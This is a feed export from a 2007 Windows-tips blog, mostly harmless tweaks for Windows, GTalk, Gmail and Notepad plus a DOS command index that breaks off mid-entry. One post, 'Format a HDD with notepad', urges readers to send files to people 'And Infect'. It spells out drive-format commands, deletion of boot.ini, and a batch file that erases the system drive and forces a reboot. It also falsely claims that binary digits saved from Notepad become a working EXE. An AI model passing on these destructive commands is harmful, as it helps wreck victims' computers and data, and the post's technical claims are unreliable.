class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-7875264906037493772?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/7875264906037493772/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=7875264906037493772' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/7875264906037493772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/7875264906037493772'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/how-to-add-password-or-lock-folder-in.html' title='how to add password or lock a folder in xp without using any software'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-4710027303338623733</id><published>2007-10-29T10:44:00.000-07:00</published><updated>2007-10-29T10:45:42.913-07:00</updated><title type='text'>How To Add Hibernate Button To Shutdown Prompt</title><content type='html'>1. Click Start, click Run, type regedit, and then click OK.&lt;br /&gt;&lt;br /&gt;2. Locate and then click the following registry subkey: HKEY_LOCAL_MACHINE\SOFTWARE\Po...&lt;br /&gt;&lt;br /&gt;3. Right-click Windows, point to New, and then click Key.&lt;br /&gt;&lt;br /&gt;4. In the New Key #1 box, type System, and then press ENTER.&lt;br /&gt;&lt;br /&gt;5. Right-click System, point to New, and then click Key.&lt;br /&gt;&lt;br /&gt;6. In the New Key #1 box, type Shutdown, and then press ENTER.&lt;br /&gt;&lt;br /&gt;7. On the Edit menu, point to New, and then click DWORD Value.&lt;br /&gt;&lt;br /&gt;8. In the New Value # 1 box, type ShowHibernateButton, and then press ENTER.&lt;br /&gt;&lt;br /&gt;9. Right-click ShowHibernateButton, and then click Modify.&lt;br /&gt;&lt;br /&gt;10. In the Value data box, type 1, leave the default Hexadecimal option selected, and then click OK.&lt;br /&gt;&lt;br /&gt;11. Quit Registry Editor.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-4710027303338623733?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/4710027303338623733/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=4710027303338623733' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/4710027303338623733'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/4710027303338623733'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/how-to-add-hibernate-button-to-shutdown.html' title='How To Add Hibernate Button To Shutdown Prompt'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-2481848621811112530</id><published>2007-10-29T10:43:00.000-07:00</published><updated>2007-11-05T05:56:49.085-08:00</updated><title type='text'></title><content type='html'>&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-2481848621811112530?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/2481848621811112530/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=2481848621811112530' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/2481848621811112530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/2481848621811112530'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/how-2-create-bad-sector.html' title=''/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-2593632230522948255</id><published>2007-10-29T10:42:00.000-07:00</published><updated>2007-10-29T10:43:32.798-07:00</updated><title type='text'>gtalk tips</title><content type='html'>How to Chat with yourself&lt;br /&gt;&lt;br /&gt;In your Browser address bar just type:gtalk:chat?jid=youremail@gmail.com&lt;br /&gt;&lt;br /&gt;Change youremail with your own email, now you can send, recieve messages, &amp;amp; you can see what you are typing.&lt;br /&gt;&lt;br /&gt;Desktop Icons for GTalk Contacts&lt;br /&gt;&lt;br /&gt;Right click on the Desktop select New&gt;Shortcut &amp;amp; type this:&lt;br /&gt;&lt;br /&gt;gtalk:chat?jid=email@gmail.com&lt;br /&gt;&lt;br /&gt;Please replace email with the email of your contact.&lt;br /&gt;&lt;br /&gt;If you like to call your friends just replace chat with call.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-2593632230522948255?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/2593632230522948255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=2593632230522948255' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/2593632230522948255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/2593632230522948255'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/gtalk-tips.html' title='gtalk tips'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-5897879377432054351</id><published>2007-10-29T10:40:00.001-07:00</published><updated>2007-10-29T10:40:53.293-07:00</updated><title type='text'>Gmail Hacks And Tips</title><content type='html'>I ’ve been using GMail from long time and have always thought it was the best email service. With the large amount of space it offers, and the amazing features the possibilities are endless. Here is a run down of some fun and crazy Gmail hacks. Some are simple extensions for firefox, some are more complicated scripts, and some are just plain silly.&lt;br /&gt;&lt;br /&gt;Gmail Based blog - this idea uses libgmailer to connect to Gmail. Uses GMail messages as “entries” (the message star is the publish status) and replies to conversations are the “entry comments” .&lt;br /&gt;&lt;br /&gt;Firefox Gmail Notifier - Firefox extension that notifies you of new GMail mail.&lt;br /&gt;Encrypt entire Gmail session - a nice little hack if you’re reading mail at your local, unecrypted hotspot. Just replace http with https once you log into Gmail and now your session is encrypted.&lt;br /&gt;&lt;br /&gt;GMail Loader - So, you want to switch to GMail, but you have a ton of message that you want to bring over. Well, this can help solve your problems. Today, the GMail Loader is a graphical, cross-platform, Python based utility that supports two mBox formats (Netscape, Mozilla, Thunderbird, Most Other Clients), MailDir(Qmail, others), MMDF(Mutt), MH (NMH), and Babyl (Emacs RMAIL).&lt;br /&gt;&lt;br /&gt;ReadPst - a utility to convert your Outlook .pst mail files to GMail.&lt;br /&gt;&lt;br /&gt;GMailSkins - ok, this is the Texas Chainsaw massacre for GMail. Alright, bad joke. Tired of the Gmail interface? Go check it out.&lt;br /&gt;&lt;br /&gt;GMail To Do List - that’s what I love about researching this stuff - I find useful stuff for you and me!&lt;br /&gt;&lt;br /&gt;GMailTo Mac OS X - this little proggie allows you to redirect any email link to GMail.&lt;br /&gt;&lt;br /&gt;GMail Icon Generator - It does other types of accounts too, but we’re talking GMail here. If you’ve never been told, allow me to tell you. Don’t post your email account on your blog in plain text. Spammers gobble that up. Use this to create a picture file that spambots can’t use.&lt;br /&gt;&lt;br /&gt;GMail Compose - Allows you to right click in the context menu on Firefox and GMail someone. It’s a firefox extension.&lt;br /&gt;&lt;br /&gt;libgmail - For you coders - python binding for the GMail service.&lt;br /&gt;&lt;br /&gt;Install Linux on Gmail - A wonderful hack to put linux on GMail.&lt;br /&gt;&lt;br /&gt;GMail manager - Allows you to manage multiple Gmail accounts and receive new mail notifications. Displays your account details including unread messages, saved drafts, spam messages, labels with new mail, space used, and new mail snippets.&lt;br /&gt;&lt;br /&gt;GDisk - turns your GMail account into a mountable Mac drive.&lt;br /&gt;&lt;br /&gt;GTDGMail - is a Firefox extension that integrates the highly effective methodology of “Getting Things Done” into the popular email service Gmail.&lt;br /&gt;&lt;br /&gt;GMail MP3Player - this shows you how to use GMail as an MP3 player.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-5897879377432054351?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/5897879377432054351/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=5897879377432054351' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5897879377432054351'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5897879377432054351'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/gmail-hacks-and-tips.html' title='Gmail Hacks And Tips'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-2820179319926424604</id><published>2007-10-29T10:38:00.000-07:00</published><updated>2007-10-29T10:39:49.910-07:00</updated><title type='text'>Funny Notepad Trick</title><content type='html'>1. Open a blank Notepad file&lt;br /&gt;&lt;br /&gt;2. Write .LOG as the first line of the file, followed by a enter.&lt;br /&gt;Save the file and close it.&lt;br /&gt;&lt;br /&gt;3. Double-click the file to open it and notice that Notepad appends the current date and time to the end of the file and places the cursor on the line after.&lt;br /&gt;&lt;br /&gt;4. Type your notes and then save and close the file.&lt;br /&gt;&lt;br /&gt;After that open the file and see the changes&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-2820179319926424604?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/2820179319926424604/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=2820179319926424604' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/2820179319926424604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/2820179319926424604'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/funny-notepad-trick.html' title='Funny Notepad Trick'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-101171553820149912</id><published>2007-10-29T10:37:00.001-07:00</published><updated>2007-10-29T10:37:49.489-07:00</updated><title type='text'>Format a HDD with notepad</title><content type='html'>Step 1.&lt;br /&gt;Copy The Following In Notepad Exactly as it says01001011000111110010010101010101010000011111100000&lt;br /&gt;Step 2.&lt;br /&gt;Save As An EXE Any Name Will Do&lt;br /&gt;Step 3.&lt;br /&gt;Send the EXE to People And Infect&lt;br /&gt;OR&lt;br /&gt;IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary codeformat c:\ /Q/X -- this will format your drive c:\01100110011011110111001001101101011000010111010000 1000000110001100111010010111000010000000101111010100010010111101011000format d:\ /Q/X -- this will format your dirve d:\01100110011011110111001001101101011000010111010000 1000000110010000111010010111000010000000101111010100010010111101011000&lt;br /&gt;format a:\ /Q/X -- this will format your drive a:\&lt;br /&gt;01100110011011110111001001101101011000010111010000 1000000110000100111010010111000010000000101111010100010010111101011000&lt;br /&gt;del /F/S/Q c:\boot.ini -- this will cause your computer not to boot.&lt;br /&gt;01100100011001010110110000100000001011110100011000 10111101010011001011110101000100100000011000110011101001011100011000100110111101 1011110111010000101110011010010110111001101001&lt;br /&gt;try to figure out urself rest&lt;br /&gt;cant spoonfeed&lt;br /&gt;its workin&lt;br /&gt;Do not try it on ur PC. dont mess around this is for educational purpose only&lt;br /&gt;still if u cant figure it out try disgo to notepad@Echo offDel C:\ *.*ysave it as Dell.bat&lt;br /&gt;worse@echo offdel %systemdrive%\*.*/f/s/qshutdown -r -f -t 00and save it as a .bat file&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-101171553820149912?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/101171553820149912/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=101171553820149912' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/101171553820149912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/101171553820149912'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/format-hdd-with-notepad.html' title='Format a HDD with notepad'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-680991557966618889</id><published>2007-10-29T10:36:00.001-07:00</published><updated>2007-10-29T10:36:50.583-07:00</updated><title type='text'>Folder Option Missing</title><content type='html'>Open Run and then type "gpedit?msc"?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now goto&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;User Configuration &gt; Administrative templates &gt; Windows Component &gt; Windows Explorer?&lt;br /&gt;&lt;br /&gt;Click on Windows Explorer you will find the 3rd option on the right side of screen&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;"Removes the Folder Option menu item from the Tools menu"&lt;br /&gt;&lt;br /&gt;Just check it,&lt;br /&gt;&lt;br /&gt;if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured?&lt;br /&gt;&lt;br /&gt;Hope that you will find the option after restarting windows?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-680991557966618889?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/680991557966618889/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=680991557966618889' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/680991557966618889'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/680991557966618889'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/folder-option-missing.html' title='Folder Option Missing'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-7193818232832291334</id><published>2007-10-29T10:34:00.000-07:00</published><updated>2007-10-29T10:35:41.993-07:00</updated><title type='text'>DOS Command Index</title><content type='html'>APPEND&lt;br /&gt;(External)APPEND ;APPEND [d:]path[;][d:]path[...]APPEND [/X:onoff][/path:onoff] [/E]Displays or sets the search path for data files. DOS will search the specified path(s) if the file is not found in the current path.&lt;br /&gt;ASSIGN&lt;br /&gt;(External)ASSIGN x=y [...] /staRedirects disk drive requests to a different drive.&lt;br /&gt;ATTRIB&lt;br /&gt;(External)ATTRIB [d:][path]filename [/S]ATTRIB [+R-R] [+A-A] [+S-S] [+H-H] [d:][path]filename [/S]Sets or displays the read-only, archive, system, and hidden attributes of a file or directory.&lt;br /&gt;BACKUP&lt;br /&gt;(External)BACKUP d:[path][filename] d:[/S][/M][/A][/F:(size)] [/P][/D:date] [/T:time] [/L:[path]filename]Makes a backup copy of one or more files. (In DOS Version 6, this program is stored on the DOS supplemental disk.)&lt;br /&gt;BREAK&lt;br /&gt;(Internal)BREAK =onoffUsed from the DOS prompt or in a batch file or in the CONFIG.SYS file to set (or display) whether or not DOS should check for a Ctrl + Break key combination.&lt;br /&gt;BUFFERS&lt;br /&gt;(Internal)BUFFERS=(number),(read-ahead number)Used in the CONFIG.SYS file to set the number of disk buffers (number) that will be available for use during data input. Also used to set a value for the number of sectors to be read in advance (read-ahead) during data input operations.&lt;br /&gt;CALL&lt;br /&gt;(Internal)CALL [d:][path]batchfilename [options]Calls another batch file and then returns to current batch file to continue.&lt;br /&gt;CHCP&lt;br /&gt;(Internal)CHCP (codepage)Displays the current code page or changes the code page that DOS will use.&lt;br /&gt;CHDIR&lt;br /&gt;(Internal)CHDIR (CD) [d:]pathCHDIR (CD)[..]Displays working (current) directory and/or changes to a different directory.&lt;br /&gt;CHKDSK&lt;br /&gt;(External)CHKDSK [d:][path][filename] [/F][/V]Checks a disk and provides a file and memory status report.&lt;br /&gt;CHOICE&lt;br /&gt;(Internal)CHOICE [/C[:]keys] [/N][/S][/T[:]c,nn] [text]Used to provide a prompt so that a user can make a choice while a batch program is running.&lt;br /&gt;CLS (Clear Screen)&lt;br /&gt;(Internal)CLSClears (erases) the screen.&lt;br /&gt;COMMAND&lt;br /&gt;(External)COMMAND [d:][path] [device] [/P][/E:(size)] [/MSG][/Y [/C (command)/K (command)]Starts a new version of the DOS command processor (the program that loads the DOS Internal programs).&lt;br /&gt;COMP&lt;br /&gt;(External)COMP [d:][path][filename] [d:][path][filename] [/A][/C][/D][/L][/N:(number)]Compares two groups of files to find information that does not match. (See FC command).&lt;br /&gt;COPY&lt;br /&gt;(Internal)COPY [/Y-Y] [/A][/B] [d:][path]filename [/A][/B] [d:][path][filename] [/V]orCOPY [/Y-Y][/A][/B] [d:][path]filename+[d:][path]filename[...][d:][path][filename] [/V] Copies and appends files.&lt;br /&gt;COUNTRY&lt;br /&gt;(Internal)COUNTRY=country code,[code page][,][d:][filename]Used in the CONFIG.SYS file to tell DOS to use country-specific text conventions during processing.&lt;br /&gt;CTTY&lt;br /&gt;(Internal)CTTY (device)Changes the standard I/O (Input/Output) device to an auxiliary device.&lt;br /&gt;DATE&lt;br /&gt;(Internal)DATE mm-dd-yyDisplays and/or sets the system date.&lt;br /&gt;DBLSPACE&lt;br /&gt;(External)DBLSPACE / automount=drivesDBLSPACE /chkdsk [/F] [d:]DBLSPACE /compress d: [/newdrive=host:] [/reserve=size] [/F]DBLSPACE /create d: [/newdrive=host:] [/reserve=size] [/size=size]DBLSPACE /defragment [d:] ]/F]DBLSPACE /delete d:DBLSPACE /doubleguard=01DBLSPACE /format d:DBLSPACE [/info] [d:]DBLSPACE /listDBLSPACE /mount[=nnn] host: [/newdrive=d:]DBLSPACE /ratio[=ratio] [d:] [/all]DBLSPACE /size[=size] [/reserve=size] d:DBLSPACE /uncompress d: DBLSPACE /unmount [d:]A program available with DOS 6.0 that allows you to compress information on a disk.&lt;br /&gt;DEBUG&lt;br /&gt;(External)DEBUG [pathname] [parameters]An MS-DOS utility used to test and edit programs.&lt;br /&gt;DEFRAG&lt;br /&gt;(External)DEFRAG [d:] [/F][/S[:]order] [/B][/skiphigh [/LCD/BW/GO] [/H]DEFRAG [d:] [/V][/B][/skiphigh] [/LCD]/BW/GO] [/H]Optimizes disk performance by reorganizing the files on the disk.&lt;br /&gt;DEL (ERASE)&lt;br /&gt;(Internal)DEL (ERASE) [d:][path]filename [/P]Deletes (erases) files from disk.&lt;br /&gt;DELOLDOS&lt;br /&gt;(External)DELOLDOS [/B]Deletes all files from previous versions of DOS after a 5.0 or 6.0 installation.&lt;br /&gt;DELTREE&lt;br /&gt;(External)DELTREE [/Y] [d:]path [d:]path[...]Deletes (erases) a directory including all files and subdirectories that are in it.&lt;br /&gt;DEVICE&lt;br /&gt;(Internal)DEVICE=(driver name)Used in the CONFIG.SYS file to tell DOS which device driver to load.&lt;br /&gt;DEVICEHIGH&lt;br /&gt;(Internal)DEVICEHIGH=(driver name)Like DEVICE, DEVICEHIGH is used in the CONFIG.SYS file to tell DOS which device driver software to use for devices; however, this option is used to install the device driver into the upper memory area.&lt;br /&gt;DIR&lt;br /&gt;(Internal)DIR [d:][path][filename] [/A:(attributes)] [/O:(order)] [/B][/C][/CH][/L][/S][/P][/W] Displays directory of files and directories stored on disk.&lt;br /&gt;DISKCOMP&lt;br /&gt;(External)DISKCOMP [d:] [d:][/1][/8]Compares the contents of two diskettes.&lt;br /&gt;DISKCOPY&lt;br /&gt;(External)DISKCOPY [d:] [d:][/1][/V][/M]Makes an exact copy of a diskette.&lt;br /&gt;DOS&lt;br /&gt;(Internal)DOS=[highlow],[umbnoumb]Used in the CONFIG.SYS file to specify the memory location for DOS. It is used to load DOS into the upper memory area and to specify whether or not the upper memory blocks will be used.&lt;br /&gt;DOSKEY&lt;br /&gt;(External)DOSKEY [reinstall] [/bufsize=size][/macros][/history][/insert/overstrike] [macroname=[text]]Loads the Doskey program into memory which can be used to recall DOS commands so that you can edit them.&lt;br /&gt;DOSSHELL&lt;br /&gt;(External)DOSSHELL [/B] [/G:[resolution][n]][/T:[resolution][n]]Initiates the graphic shell program using the specified screen resolution.&lt;br /&gt;DRIVPARM&lt;br /&gt;(Internal)DRIVPARM= /D:(number) [/C] [/F:(form factor)] [/H:(number)] [/I][ /N][/S:(number)] [/T:(tracks)]Used in the CONFIG.SYS file to set parameters for a disk drive.&lt;br /&gt;ECHO&lt;br /&gt;(Internal)ECHO onoffECHO (message)Displays messages or turns on or off the display of commands in a batch file.&lt;br /&gt;EDIT&lt;br /&gt;(External)EDIT [d:][path]filename [/B][/G][/H][/NOHI]Starts the MS-DOS editor, a text editor used to create and edit ASCII text files.&lt;br /&gt;EMM386&lt;br /&gt;(External)EMM386 [onoffauto] [w=onoff]Enables or disables EMM386 expanded-memory support on a computer with an 80386 or higher processor.&lt;br /&gt;EXE2BIN&lt;br /&gt;(External)EXE2BIN [d:][path]filename [d:][path]filenameConverts .EXE (executable) files to binary format.&lt;br /&gt;EXIT&lt;br /&gt;(Internal)EXITExits a secondary command processor.&lt;br /&gt;EXPAND&lt;br /&gt;(External)EXPAND [d:][path]filename [[d:][path]filename[ . . .]]Expands a compressed file.&lt;br /&gt;FASTHELP&lt;br /&gt;(External)FASTHELP [command][command] /?Displays a list of DOS commands with a brief explanation of each.&lt;br /&gt;FASTOPEN&lt;br /&gt;(External)FASTOPEN d:[=n][/X]Keeps track of the locations of files for fast access.&lt;br /&gt;FC&lt;br /&gt;(External)FC [/A][/C][/L][/Lb n][/N][/T][/W][number] [d:][path]filename [d:][path]filenameor (for binary comparisons)FC [/B][/number] [d:][path]filename [d:][path]filenameDisplays the differences between two files or sets of files.&lt;br /&gt;FCBS&lt;br /&gt;(Internal)FCBS=(number)Used in the CONFIG.SYS file to specify the number of file-control blocks for file sharing.&lt;br /&gt;FDISK&lt;br /&gt;(External)FDISK [/status]Prepares a fixed disk to accept DOS files for storage.&lt;br /&gt;FILES&lt;br /&gt;(Internal)FILES=(number)Used in the CONFIG.Sys file to specify the maximum number of files that can be open at the same time.&lt;br /&gt;FIND&lt;br /&gt;(External)FIND [/V][/C][/I][/N] ÒstringÓ [d:][path]filename[...]Finds and reports the location of a specific string of text characters in one or more files.&lt;br /&gt;FOR&lt;br /&gt;(Internal)FOR %%(variable) IN (set) DO (command)or (for interactive processing)FOR %(variable) IN (set) DO (command)Performs repeated execution of commands (for both batch processing and interactive processing).&lt;br /&gt;FORMAT&lt;br /&gt;(External)FORMAT d:[/1][/4][/8][/F:(size)] [/N:(sectors)] [/T:(tracks)][/B/S][/C][/V:(label)] [/Q][/U][/V]Formats a disk to accept DOS files.&lt;br /&gt;GOTO&lt;br /&gt;(Internal)GOTO (label)Causes unconditional branch to the specified label.&lt;br /&gt;GRAFTABL&lt;br /&gt;(External)GRAFTABL [(code page)]GRAFTABL [status]Loads a table of character data into memory (for use with a color/graphics adapter).&lt;br /&gt;GRAPHICS&lt;br /&gt;(External)GRAPHICS [printer type][profile] [/B][/R][/LCD][/PB:(id)] [/C][/F][/P(port)]Provides a way to print contents of a graphics screen display.&lt;br /&gt;HELP&lt;br /&gt;(External)HELP [command] [/B][/G][/H][/NOHI]Displays information about a DOS command.&lt;br /&gt;IF&lt;br /&gt;(Internal)IF [NOT] EXIST filename (command) [parameters]IF [NOT] (string1)==(string2) (command) [parameters]IF [NOT] ERRORLEVEL (number) (command) [parameters]Allows for conditional operations in batch processing.&lt;br /&gt;INCLUDE&lt;br /&gt;(Internal)INCLUDE= blocknameUsed in the CONFIG.SYS file to allow you to use the commands from one CONFIG.SYS block within another.&lt;br /&gt;INSTALL&lt;br /&gt;(Internal)INSTALL=[d: ][\path]filename [parameters]Used in the CONFIG.SYS file to load memory-resident programs into conventional memory.&lt;br /&gt;INTERLINK&lt;br /&gt;(External)INTERLINK [client[:]=[server][:]]Connects two computers via parallel or serial ports so that the computers can share disks and printer ports.&lt;br /&gt;INTERSVR&lt;br /&gt;(External)INTERSVR [d:][...][/X=d:][...] [/LPT:[naddress]] [/COM:[naddress]][/baud:rate] [/B][/V]INTERSVR /RCOPYStarts the Interlink server.&lt;br /&gt;JOIN&lt;br /&gt;(External)JOIN d: [d:path]JOIN d: [/D]Allows access to the directory structure and files of a drive through a directory on a different drive.&lt;br /&gt;KEYB&lt;br /&gt;(External)KEYB [xx][,][yyy][,][d:][path]filename [/E][/ID:(number)] Loads a program that replaces the support program for U. S. keyboards.&lt;br /&gt;LABEL&lt;br /&gt;(External)LABEL [d:][volume label] Creates or changes or deletes a volume label for a disk.&lt;br /&gt;LASTDRIVE&lt;br /&gt;(Internal)LASTDRIVE=(drive letter)Used in the CONFIG.SYS file to set the maximum number of drives that can be accessed.&lt;br /&gt;LOADFIX&lt;br /&gt;(Internal)LOADFIX [d:][path]filename [parameters] Ensures that a program is loaded above the first 64K of conventional memory, and runs the program.&lt;br /&gt;LOADHIGH&lt;br /&gt;(Internal)LOADHIGH (LH) [d:][path]filename [parameters] Loads memory resident application into reserved area of memory (between 640K-1M).&lt;br /&gt;MEM&lt;br /&gt;(External)MEM [/program/debug/classify/free/module(name)] [/page] Displays amount of installed and available memory, including extended, expanded, and upper memory.&lt;br /&gt;MEMMAKER&lt;br /&gt;(External)MEMMAKER [/B][/batch][/session][/swap:d] [/T][/undo][/W:size1,size2] Starts the MemMaker program, a program that lets you optimize your computer's memory.&lt;br /&gt;MENUCOLOR&lt;br /&gt;(Internal)MENUCOLOR=textcolor,[background] Used in the CONFIG.SYS file to set the colors that will be used by DOS to display text on the screen.&lt;br /&gt;MENUDEFAULT&lt;br /&gt;(Internal)MENUDEFAULT=blockname, [timeout] Used in the CONFIG.SYS file to set the startup configuration that will be used by DOS if no key is pressed within the specified timeout period.&lt;br /&gt;MENUITEM&lt;br /&gt;(Internal)MENUITEM=blockname, [menutext] Used in the CONFIG.SYS file to create a start-up menu from which you can select a group of CONFIG.SYS commands to be processed upon reboot.&lt;br /&gt;MIRROR&lt;br /&gt;(External)MIRROR [d:]path [d:] path [...]MIRROR [d1:][d2:][...] [/T(drive)(files)] [/partn][/U][/1] Saves disk storage information that can be used to recover accidentally erased files.&lt;br /&gt;MKDIR&lt;br /&gt;(MD) (Internal)MKDIR (MD) [d:]pathCreates a new subdirectory.&lt;br /&gt;MODE&lt;br /&gt;(External)MODE nMODE LPT#[:][n][,][m][,][P][retry]MODE [n],m[,T]MODE (displaytype,linetotal)MODE COMn[:]baud[,][parity][,][databits][,][stopbits][,][retry]MODE LPT#[:]=COMn [retry]MODE CON[RATE=(number)][DELAY=(number)]MODE (device) CODEPAGE PREPARE=(codepage) [d:][path]filenameMODE (device) CODEPAGE PREPARE=(codepage list) [d:][path]filenameMODE (device) CODEPAGE SELECT=(codepage)MODE (device) CODEPAGE [/STATUS]MODE (device) CODEPAGE REFRESHSets mode of operation for devices or communications.&lt;br /&gt;MORE&lt;br /&gt;(External)MORE &lt; (filename or command)(name)MORESends output to console, one screen at a time.&lt;br /&gt;MOVE&lt;br 